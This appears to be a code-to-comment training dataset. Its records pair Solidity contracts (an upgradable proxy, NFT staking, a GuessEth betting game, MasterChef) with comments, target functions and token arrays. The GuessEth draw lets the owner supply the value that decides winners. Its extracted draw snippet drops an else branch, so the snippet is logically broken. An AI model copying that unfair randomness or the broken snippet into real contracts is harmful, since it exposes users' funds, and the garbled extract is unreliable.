[ 1, 565, 445, 389, 26672, 5157, 12, 2867, 27641, 74, 14463, 814, 16, 2254, 5034, 1147, 6275, 13, 2713, 95, 203, 3639, 389, 2316, 18, 4626, 5912, 12, 70, 4009, 74, 14463, 814, 16, 1147, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; /// @title Proxy /// @dev Proxy contract which supports upgrading a singleton implementation delegate. abstract contract Proxy { /// @dev retrieve the address of the current implementation contract /// @return impl address of the current implementation function __implementation() public virtual view returns (address impl); /// @dev delegatecall is issued against the current implementation delegate; /// any return data is forwarded to the caller. fallback() external payable { address _impl = __implementation(); require(_impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0x0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0x0, 0x0) let size := returndatasize() returndatacopy(ptr, 0x0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } /// @dev no-op receipt of ETH receive() external payable {} } /// @title UpgradableProxy /// @dev proxy contract with upgradable implementation delegate address contract UpgradableProxy is Proxy { // storage address of the implementation delegate contract address bytes32 private constant implStorageAddress = keccak256("network.provide.proxy.implementation"); /// @dev event emitted upon upgrade of the implementation address /// @param implementation address of the upgraded implementation delegate event Upgraded(address indexed implementation); /// @dev retrieve the address of the current implementation contract /// @return impl address of the current implementation function __implementation() public override view returns (address impl) { bytes32 _saddr = implStorageAddress; assembly { impl := sload(_saddr) } } /// @dev set the address of the current implementation contract /// @param _implementation address representing the new implementation to be set function __setImplementation(address _implementation) internal { address _current = __implementation(); require(_current != _implementation, 'given implementation contract address is already set'); bytes32 _saddr = implStorageAddress; assembly { sstore(_saddr, _implementation) } emit Upgraded(_implementation); } } /// @title UpgradableNetwork /// @dev provide.network upgradable contracts suite entrypoint contract UpgradableNetwork is UpgradableProxy { // storage address of the contract owner bytes32 private constant ownerStorageAddress = keccak256("network.provide.proxy.owner"); /// @dev event emitted upon a transfer of ownership /// @param from address of the previous owner /// @param to address of the new owner event OwnershipTransferred(address from, address to); /// initialize the contract owner to the sender constructor() { __setOwner(msg.sender); } /// @dev require `msg.sender == owner` modifier onlyOwner() { require(msg.sender == __owner()); _; } /// @dev read the address of the owner /// @return owner_ the address of the owner function __owner() public view returns (address owner_) { bytes32 _position = ownerStorageAddress; assembly { owner_ := sload(_position) } } /// @dev internally set the owner /// @param _owner address of the new owner function __setOwner(address _owner) internal { bytes32 _position = ownerStorageAddress; assembly { sstore(_position, _owner) } } /// @dev transfer ownership to the given address /// @param _owner address to which ownership will be transferred function __transferOwnership(address _owner) public onlyOwner { require(_owner != address(0), 'ownership cannot be transferred to 0x'); emit OwnershipTransferred(__owner(), _owner); __setOwner(_owner); } /// @dev allows the proxy owner to upgrade the proxy by modifying the implementation contract address /// @param _implementation representing the address of the new implementation to be set. function __upgrade(address _implementation) public onlyOwner { __setImplementation(_implementation); } /// @dev upgrade the current implementation delegate contract by modifying the address /// and passing calldata to the new implementation for initialization /// @param _implementation representing the address of the new implementation to be set. /// @param _data represents the msg.data to bet sent in the low level call. This parameter may include the function /// signature of the implementation to be called with the needed payload function __upgradeInit(address _implementation, bytes calldata _data) public payable onlyOwner { __upgrade(_implementation); (bool _success, ) = address(this).call{value: msg.value}(_data); require(_success, 'failed to upgrade implementation contract'); } } /// @title Provide /// @dev provide.network upgradable entrypoint contract Provide is UpgradableNetwork { /// @dev initialize the upgradable proxy entrypoint with /// the initial network implementation contract constructor(address _network) { __setOwner(msg.sender); if (_network != address(0)) { __upgrade(_network); } } }
@dev event emitted upon upgrade of the implementation address @param implementation address of the upgraded implementation delegate @dev retrieve the address of the current implementation contract @return impl address of the current implementation
function __implementation() public override view returns (address impl) { bytes32 _saddr = implStorageAddress; assembly { impl := sload(_saddr) } }
403,006
[ 1, 2575, 17826, 12318, 8400, 434, 326, 4471, 1758, 225, 4471, 1758, 434, 326, 31049, 4471, 7152, 225, 4614, 326, 1758, 434, 326, 783, 4471, 6835, 327, 9380, 1758, 434, 326, 783, 4471, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1001, 30810, 1435, 1071, 3849, 1476, 1135, 261, 2867, 9380, 13, 288, 203, 565, 1731, 1578, 389, 87, 4793, 273, 9380, 3245, 1887, 31, 203, 565, 19931, 288, 203, 1377, 9380, 519, 272, 945, 24899, 87, 4793, 13, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x6f262ce279fD5B76367BFe033B4da5eBA43C7A5e/sources/NFTManager.sol
Unstake YELD tokens and receive YELDIES tokens tradable for NFTs
function unstakeYELDAndReceiveYELDIES(uint256 _amount) public { require(_amount <= amountStaked[msg.sender], "NFTManager: You can't unstake more than your current stake"); receiveYELDIES(); amountStaked[msg.sender] = amountStaked[msg.sender].sub(_amount); IERC20(yeld).transfer(msg.sender, _amount); }
5,103,120
[ 1, 984, 334, 911, 1624, 5192, 2430, 471, 6798, 1624, 2247, 2565, 3991, 2430, 1284, 17394, 364, 423, 4464, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 334, 911, 61, 5192, 1876, 11323, 61, 2247, 2565, 3991, 12, 11890, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 2583, 24899, 8949, 1648, 3844, 510, 9477, 63, 3576, 18, 15330, 6487, 315, 50, 4464, 1318, 30, 4554, 848, 1404, 640, 334, 911, 1898, 2353, 3433, 783, 384, 911, 8863, 203, 3639, 6798, 61, 2247, 2565, 3991, 5621, 203, 3639, 3844, 510, 9477, 63, 3576, 18, 15330, 65, 273, 3844, 510, 9477, 63, 3576, 18, 15330, 8009, 1717, 24899, 8949, 1769, 203, 3639, 467, 654, 39, 3462, 12, 93, 488, 2934, 13866, 12, 3576, 18, 15330, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library utils{ function inArray(uint[] _arr,uint _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } function inArray(address[] _arr,address _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract GuessEthEvents{ event drawLog(uint,uint,uint); event guessEvt( address indexed playerAddr, uint[] numbers, uint amount ); event winnersEvt( uint blockNumber, address indexed playerAddr, uint amount, uint winAmount ); event withdrawEvt( address indexed to, uint256 value ); event drawEvt( uint indexed blocknumberr, uint number ); event sponseEvt( address indexed addr, uint amount ); event pauseGameEvt( bool pause ); event setOddsEvt( uint odds ); } contract GuessEth is Ownable,GuessEthEvents{ using SafeMath for uint; /* Player Bets */ struct bnumber{ address addr; uint number; uint value; int8 result; uint prize; } mapping(uint => bnumber[]) public bets; mapping(uint => address) public betNumber; /* player address => blockNumber[]*/ mapping(address => uint[]) private playerBetBNumber; /* Awards Records */ struct winner{ bool result; uint prize; } mapping(uint => winner[]) private winners; mapping(uint => uint) private winResult; address private wallet1; address private wallet2; uint private predictBlockInterval=3; uint public odds=30; uint public blockInterval=500; uint public curOpenBNumber=0; uint public numberRange=100; bool public gamePaused=false; /* Sponsors */ mapping(address => uint) Sponsors; uint public balanceOfSPS=0; address[] public SponsorAddresses; uint reservefund=30 ether; /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } constructor(address _wallet1,address _wallet2) public{ wallet1=_wallet1; wallet2=_wallet2; curOpenBNumber=blockInterval*(block.number.div(blockInterval)); } function pauseGame(bool _status) public onlyOwner returns(bool){ gamePaused=_status; emit pauseGameEvt(_status); } function setOdds(uint _odds) isHuman() public onlyOwner returns(bool){ odds = _odds; emit setOddsEvt(_odds); } function setReservefund(uint _reservefund) isHuman() public onlyOwner returns(bool){ reservefund = _reservefund * 1 ether; } function getTargetBNumber() view isHuman() public returns(uint){ uint n; n=blockInterval*(predictBlockInterval + block.number/blockInterval); return n; } function guess(uint[] _numbers) payable isHuman() public returns(uint){ require(msg.value >= _numbers.length * 0.05 ether); uint n=blockInterval*(predictBlockInterval + block.number/blockInterval); for(uint _i=0;_i < _numbers.length;_i++){ bnumber memory b; b.addr=msg.sender; b.number=_numbers[_i]; b.value=msg.value/_numbers.length; b.result=-1; bets[n].push(b); } if(utils.inArray(playerBetBNumber[msg.sender],n)==false){ playerBetBNumber[msg.sender].push(n); } emit guessEvt(msg.sender,_numbers, msg.value); return _numbers.length; } function getPlayerGuessNumbers() view public returns (uint[],uint[],uint256[],int8[],uint[]){ uint _c=0; uint _i=0; uint _j=0; uint _bnumber; uint limitRows=100; while(_i < playerBetBNumber[msg.sender].length){ _bnumber=playerBetBNumber[msg.sender][_i]; for(_j=0 ; _j < bets[_bnumber].length && _c < limitRows ; _j++){ if(msg.sender==bets[_bnumber][_j].addr){ _c++; } } _i++; } uint[] memory _blockNumbers=new uint[](_c); uint[] memory _numbers=new uint[](_c); uint[] memory _values=new uint[](_c); int8[] memory _result=new int8[](_c); uint[] memory _prize=new uint[](_c); if(_c<=0){ return(_blockNumbers,_numbers,_values,_result,_prize); } //uint[] memory _b=new uint[](bettings[_blocknumber].length); uint _count=0; for(_i=0 ; _i < playerBetBNumber[msg.sender].length ; _i++){ _bnumber=playerBetBNumber[msg.sender][_i]; for(_j=0 ; _j < bets[_bnumber].length && _count < limitRows ; _j++){ if(bets[_bnumber][_j].addr == msg.sender){ _blockNumbers[_count] = _bnumber; _numbers[_count] = bets[_bnumber][_j].number; _values[_count] = bets[_bnumber][_j].value; _result[_count] = bets[_bnumber][_j].result; _prize[_count] = bets[_bnumber][_j].prize; _count++; } } } return(_blockNumbers,_numbers,_values,_result,_prize); } function draw(uint _blockNumber,uint _blockTimestamp) public onlyOwner returns (uint){ require(block.number >= curOpenBNumber + blockInterval); /*Set open Result*/ curOpenBNumber=_blockNumber; uint result=_blockTimestamp % numberRange; winResult[_blockNumber]=result; for(uint _i=0;_i < bets[_blockNumber].length;_i++){ //result+=1; if(bets[_blockNumber][_i].number==result){ bets[_blockNumber][_i].result = 1; bets[_blockNumber][_i].prize = bets[_blockNumber][_i].value * odds; emit winnersEvt(_blockNumber,bets[_blockNumber][_i].addr,bets[_blockNumber][_i].value,bets[_blockNumber][_i].prize); withdraw(bets[_blockNumber][_i].addr,bets[_blockNumber][_i].prize); }else{ bets[_blockNumber][_i].result = 0; bets[_blockNumber][_i].prize = 0; } } emit drawEvt(_blockNumber,curOpenBNumber); return result; } function getWinners(uint _blockNumber) view public returns(address[],uint[]){ uint _count=winners[_blockNumber].length; address[] memory _addresses = new address[](_count); uint[] memory _prize = new uint[](_count); uint _i=0; for(_i=0;_i<_count;_i++){ //_addresses[_i] = winners[_blockNumber][_i].addr; _prize[_i] = winners[_blockNumber][_i].prize; } return (_addresses,_prize); } function getWinResults(uint _blockNumber) view public returns(uint){ return winResult[_blockNumber]; } function withdraw(address _to,uint amount) public onlyOwner returns(bool){ require(address(this).balance.sub(amount) > 0); _to.transfer(amount); emit withdrawEvt(_to,amount); return true; } function invest() isHuman payable public returns(uint){ require(msg.value >= 1 ether,"Minima amoun:1 ether"); Sponsors[msg.sender] = Sponsors[msg.sender].add(msg.value); balanceOfSPS = balanceOfSPS.add(msg.value); if(!utils.inArray(SponsorAddresses,msg.sender)){ SponsorAddresses.push(msg.sender); emit sponseEvt(msg.sender,msg.value); } return Sponsors[msg.sender]; } function distribute() public onlyOwner{ if(address(this).balance < reservefund){ return; } uint availableProfits=address(this).balance.sub(reservefund); uint prft1=availableProfits.mul(3 ether).div(10 ether); uint prft2=availableProfits.sub(prft1); uint _val=0; uint _i=0; for(_i=0;_i<SponsorAddresses.length;_i++){ _val = (prft1 * Sponsors[SponsorAddresses[_i]]) / (balanceOfSPS); SponsorAddresses[_i].transfer(_val); } uint w1p=prft2.mul(3 ether).div(10 ether); wallet1.transfer(w1p); wallet2.transfer(prft2.sub(w1p)); } function sharesOfSPS() view public returns(uint,uint){ return (Sponsors[msg.sender],balanceOfSPS); } function getAllSponsors() view public returns(address[],uint[],uint){ uint _i=0; uint _c=0; for(_i=0;_i<SponsorAddresses.length;_i++){ _c+=1; } address[] memory addrs=new address[](_c); uint[] memory amounts=new uint[](_c); for(_i=0;_i<SponsorAddresses.length;_i++){ addrs[_i]=SponsorAddresses[_i]; amounts[_i]=Sponsors[SponsorAddresses[_i]]; } return(addrs,amounts,balanceOfSPS); } function() payable isHuman() public { } }
Set open Result*/result+=1;
function draw(uint _blockNumber,uint _blockTimestamp) public onlyOwner returns (uint){ require(block.number >= curOpenBNumber + blockInterval); curOpenBNumber=_blockNumber; uint result=_blockTimestamp % numberRange; winResult[_blockNumber]=result; for(uint _i=0;_i < bets[_blockNumber].length;_i++){ if(bets[_blockNumber][_i].number==result){ bets[_blockNumber][_i].result = 1; bets[_blockNumber][_i].prize = bets[_blockNumber][_i].value * odds; emit winnersEvt(_blockNumber,bets[_blockNumber][_i].addr,bets[_blockNumber][_i].value,bets[_blockNumber][_i].prize); withdraw(bets[_blockNumber][_i].addr,bets[_blockNumber][_i].prize); bets[_blockNumber][_i].result = 0; bets[_blockNumber][_i].prize = 0; } } emit drawEvt(_blockNumber,curOpenBNumber); return result; }
7,715,408
[ 1, 694, 1696, 3438, 19, 2088, 15, 33, 21, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3724, 12, 11890, 389, 2629, 1854, 16, 11890, 389, 2629, 4921, 13, 1071, 1338, 5541, 1135, 261, 11890, 15329, 203, 3639, 2583, 12, 2629, 18, 2696, 1545, 662, 3678, 38, 1854, 397, 1203, 4006, 1769, 203, 203, 3639, 662, 3678, 38, 1854, 33, 67, 2629, 1854, 31, 203, 3639, 2254, 563, 33, 67, 2629, 4921, 738, 1300, 2655, 31, 203, 3639, 5657, 1253, 63, 67, 2629, 1854, 65, 33, 2088, 31, 203, 203, 3639, 364, 12, 11890, 389, 77, 33, 20, 31, 67, 77, 411, 324, 2413, 63, 67, 2629, 1854, 8009, 2469, 31, 67, 77, 27245, 95, 203, 2398, 203, 2398, 203, 5411, 309, 12, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 2696, 631, 2088, 15329, 203, 7734, 324, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 2088, 273, 404, 31, 203, 7734, 324, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 683, 554, 273, 324, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 1132, 380, 14800, 87, 31, 203, 1171, 203, 7734, 3626, 5657, 9646, 30990, 24899, 2629, 1854, 16, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 4793, 16, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 1132, 16, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 683, 554, 1769, 203, 203, 7734, 598, 9446, 12, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 4793, 16, 70, 2413, 63, 67, 2629, 1854, 6362, 67, 77, 8009, 683, 554, 1769, 203, 203, 7734, 324, 2413, 63, 2 ]
./partial_match/1/0x8c9C9F6d7A4Fea6e5B32f19c368Db64127011DC0/sources/EnchantedShop.sol
if sender sent extra eth, account for it so we can send it back later
if (msg.value > shopSettings.price) {
3,611,517
[ 1, 430, 5793, 3271, 2870, 13750, 16, 2236, 364, 518, 1427, 732, 848, 1366, 518, 1473, 5137, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 3576, 18, 1132, 405, 12122, 2628, 18, 8694, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xCFcFF88212c8Cc1831BcA45e6C7AB0551647C6D2/sources/MasterChef.sol
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accButterflyPerShare: 0 })); }
3,469,579
[ 1, 986, 279, 394, 12423, 358, 326, 2845, 18, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 11329, 5467, 4269, 527, 326, 1967, 511, 52, 1147, 1898, 2353, 3647, 18, 534, 359, 14727, 903, 506, 15216, 730, 731, 309, 1846, 741, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
